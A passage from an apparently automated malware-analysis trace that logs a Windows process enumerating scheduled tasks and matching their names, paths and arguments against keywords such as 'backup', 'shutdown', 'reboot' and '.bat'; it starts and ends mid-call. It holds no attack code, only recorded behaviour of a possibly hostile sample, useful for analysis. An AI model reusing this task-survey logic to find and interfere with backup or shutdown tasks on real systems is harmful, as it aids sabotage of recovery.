TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.508] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.508] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.509] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.509] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.509] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.509] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.509] IUnknown:Release (This=0x2466400) returned 0x0 [0221.509] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.509] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.509] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.511] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.511] IUnknown:Release (This=0x2463648) returned 0x0 [0221.511] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.511] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.511] IUnknown:Release (This=0x2466400) returned 0x0 [0221.511] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.511] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.512] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.512] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.512] IUnknown:Release (This=0x2463648) returned 0x0 [0221.512] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.514] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.514] IUnknown:Release (This=0x2466400) returned 0x0 [0221.514] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.514] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.515] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.515] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.515] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.515] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.515] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.516] IUnknown:Release (This=0x2466400) returned 0x0 [0221.516] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.516] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.516] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.516] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=4) returned 0x0 [0221.516] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.516] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AutoWake") returned 0x0 [0221.516] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.518] IUnknown:Release (This=0x2466448) returned 0x0 [0221.518] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.518] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GadgetManager") returned 0x0 [0221.518] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ef8 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr="reboot") returned 0x0 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr="restart") returned 0x0 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr="shutdown") returned 0x0 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr="logoff") returned 0x0 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr=".bat") returned 0x0 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr="backup") returned 0x0 [0221.519] wcsstr (_Str="gadgetmanager", _SubStr=".cmd") returned 0x0 [0221.520] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0221.520] IRegisteredTask:get_Definition (in: This=0x2466448, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.524] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466490) returned 0x0 [0221.524] IActionCollection:get_Count (in: This=0x2466490, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.525] IActionCollection:get_Item (in: This=0x2466490, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0221.525] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.525] IUnknown:Release (This=0x2463708) returned 0x1 [0221.525] IUnknown:Release (This=0x2466490) returned 0x1 [0221.525] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.525] IUnknown:Release (This=0x2466448) returned 0x0 [0221.525] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.525] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SessionAgent") returned 0x0 [0221.525] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.526] IUnknown:Release (This=0x2466448) returned 0x0 [0221.526] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.526] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemDataProviders") returned 0x0 [0221.526] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0221.528] IUnknown:Release (This=0x2466448) returned 0x0 [0221.528] IUnknown:Release (This=0x24636c8) returned 0x0 [0221.528] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.528] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.528] IUnknown:Release (This=0x2466400) returned 0x0 [0221.528] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.528] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.528] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.529] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.529] IUnknown:Release (This=0x2463648) returned 0x0 [0221.529] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.529] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.529] IUnknown:Release (This=0x2466400) returned 0x0 [0221.529] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.529] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.529] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.530] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.530] IUnknown:Release (This=0x2463648) returned 0x0 [0221.530] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466448) returned 0x0 [0221.530] ITaskFolderCollection:get_Count (in: This=0x2466448, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.530] IUnknown:Release (This=0x2466448) returned 0x0 [0221.530] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.530] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.530] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.531] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0221.531] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466400) returned 0x0 [0221.531] IRegisteredTask:get_Name (in: This=0x2466400, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SR") returned 0x0 [0221.531] IRegisteredTask:get_State (in: This=0x2466400, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.532] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8988 [0221.532] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0 [0221.532] wcsstr (_Str="sr", _SubStr="restart") returned 0x0 [0221.532] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0 [0221.532] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0 [0221.532] wcsstr (_Str="sr", _SubStr=".bat") returned 0x0 [0221.532] wcsstr (_Str="sr", _SubStr="backup") returned 0x0 [0221.532] wcsstr (_Str="sr", _SubStr=".cmd") returned 0x0 [0221.532] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8988) returned 1 [0221.532] IRegisteredTask:get_Definition (in: This=0x2466400, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f30) returned 0x0 [0221.540] ITaskDefinition:get_Actions (in: This=0x2465f30, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466448) returned 0x0 [0221.540] IActionCollection:get_Count (in: This=0x2466448, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.540] IActionCollection:get_Item (in: This=0x2466448, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0221.540] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.540] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0221.540] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0221.540] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2938 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0221.540] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0221.541] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.541] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/d srrstr.dll,ExecuteScheduledSPPCreation") returned 0x0 [0221.541] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6d9258 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="reboot") returned 0x0 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="restart") returned 0x0 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="shutdown") returned 0x0 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="logoff") returned 0x0 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".bat") returned 0x0 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="backup") returned 0x0 [0221.541] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".cmd") returned 0x0 [0221.541] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0221.541] IUnknown:Release (This=0x2463708) returned 0x2 [0221.541] IUnknown:Release (This=0x2463708) returned 0x1 [0221.541] IUnknown:Release (This=0x2466448) returned 0x1 [0221.541] IUnknown:Release (This=0x2465f30) returned 0x0 [0221.541] IUnknown:Release (This=0x2466400) returned 0x0 [0221.541] IUnknown:Release (This=0x2463648) returned 0x0 [0221.541] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466400) returned 0x0 [0221.541] ITaskFolderCollection:get_Count (in: This=0x2466400, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.541] IUnknown:Release (This=0x2466400) returned 0x0 [0221.541] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.542] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.542] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0221.542] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0221.542] IUnknown:Release (This=0x2463648) returned 0x0 [0221.542] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2466448) returned 0x0 [0221.542] ITaskFolderCollection:get_Count (in: This=0x2466448, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0221.542] IUnknown:Release (This=0x2466448) returned 0x0 [0221.543] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0221.543] ITaskFolderCollection:get_Item (in: This=0x2464e30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0221.543] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0221.543] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0221.543] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.543] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict1") returned 0x0 [0221.543] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.546] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr="reboot") returned 0x0 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr="restart") returned 0x0 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr="shutdown") returned 0x0 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr="logoff") returned 0x0 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr=".bat") returned 0x0 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr="backup") returned 0x0 [0221.546] wcsstr (_Str="ipaddressconflict1", _SubStr=".cmd") returned 0x0 [0221.546] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.546] IRegisteredTask:get_Definition (in: This=0x2466448, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.553] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466490) returned 0x0 [0221.553] IActionCollection:get_Count (in: This=0x2466490, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.553] IActionCollection:get_Item (in: This=0x2466490, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0221.553] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.553] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0221.553] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0221.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2938 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0221.553] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0221.553] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.553] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem") returned 0x0 [0221.553] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x7a64c8 [0221.553] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="reboot") returned 0x0 [0221.553] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="restart") returned 0x0 [0221.553] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="shutdown") returned 0x0 [0221.553] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="logoff") returned 0x0 [0221.553] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".bat") returned 0x0 [0221.554] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="backup") returned 0x0 [0221.554] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".cmd") returned 0x0 [0221.554] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7a64c8) returned 1 [0221.554] IUnknown:Release (This=0x2463688) returned 0x2 [0221.554] IUnknown:Release (This=0x2463688) returned 0x1 [0221.554] IUnknown:Release (This=0x2466490) returned 0x1 [0221.554] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.554] IUnknown:Release (This=0x2466448) returned 0x0 [0221.554] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466448) returned 0x0 [0221.554] IRegisteredTask:get_Name (in: This=0x2466448, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict2") returned 0x0 [0221.554] IRegisteredTask:get_State (in: This=0x2466448, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.555] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr="reboot") returned 0x0 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr="restart") returned 0x0 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr="shutdown") returned 0x0 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr="logoff") returned 0x0 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr=".bat") returned 0x0 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr="backup") returned 0x0 [0221.555] wcsstr (_Str="ipaddressconflict2", _SubStr=".cmd") returned 0x0 [0221.556] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.556] IRegisteredTask:get_Definition (in: This=0x2466448, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.563] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2466490) returned 0x0 [0221.563] IActionCollection:get_Count (in: This=0x2466490, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.563] IActionCollection:get_Item (in: This=0x2466490, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.563] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.563] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.563] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0221.563] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2938 [0221.563] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0221.563] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0221.563] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0221.563] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0221.563] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0221.563] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0221.564] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0221.564] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.564] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem") returned 0x0 [0221.564] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x7a64c8 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="reboot") returned 0x0 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="restart") returned 0x0 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="shutdown") returned 0x0 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="logoff") returned 0x0 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".bat") returned 0x0 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="backup") returned 0x0 [0221.564] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".cmd") returned 0x0 [0221.564] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7a64c8) returned 1 [0221.564] IUnknown:Release (This=0x2463788) returned 0x2 [0221.564] IUnknown:Release 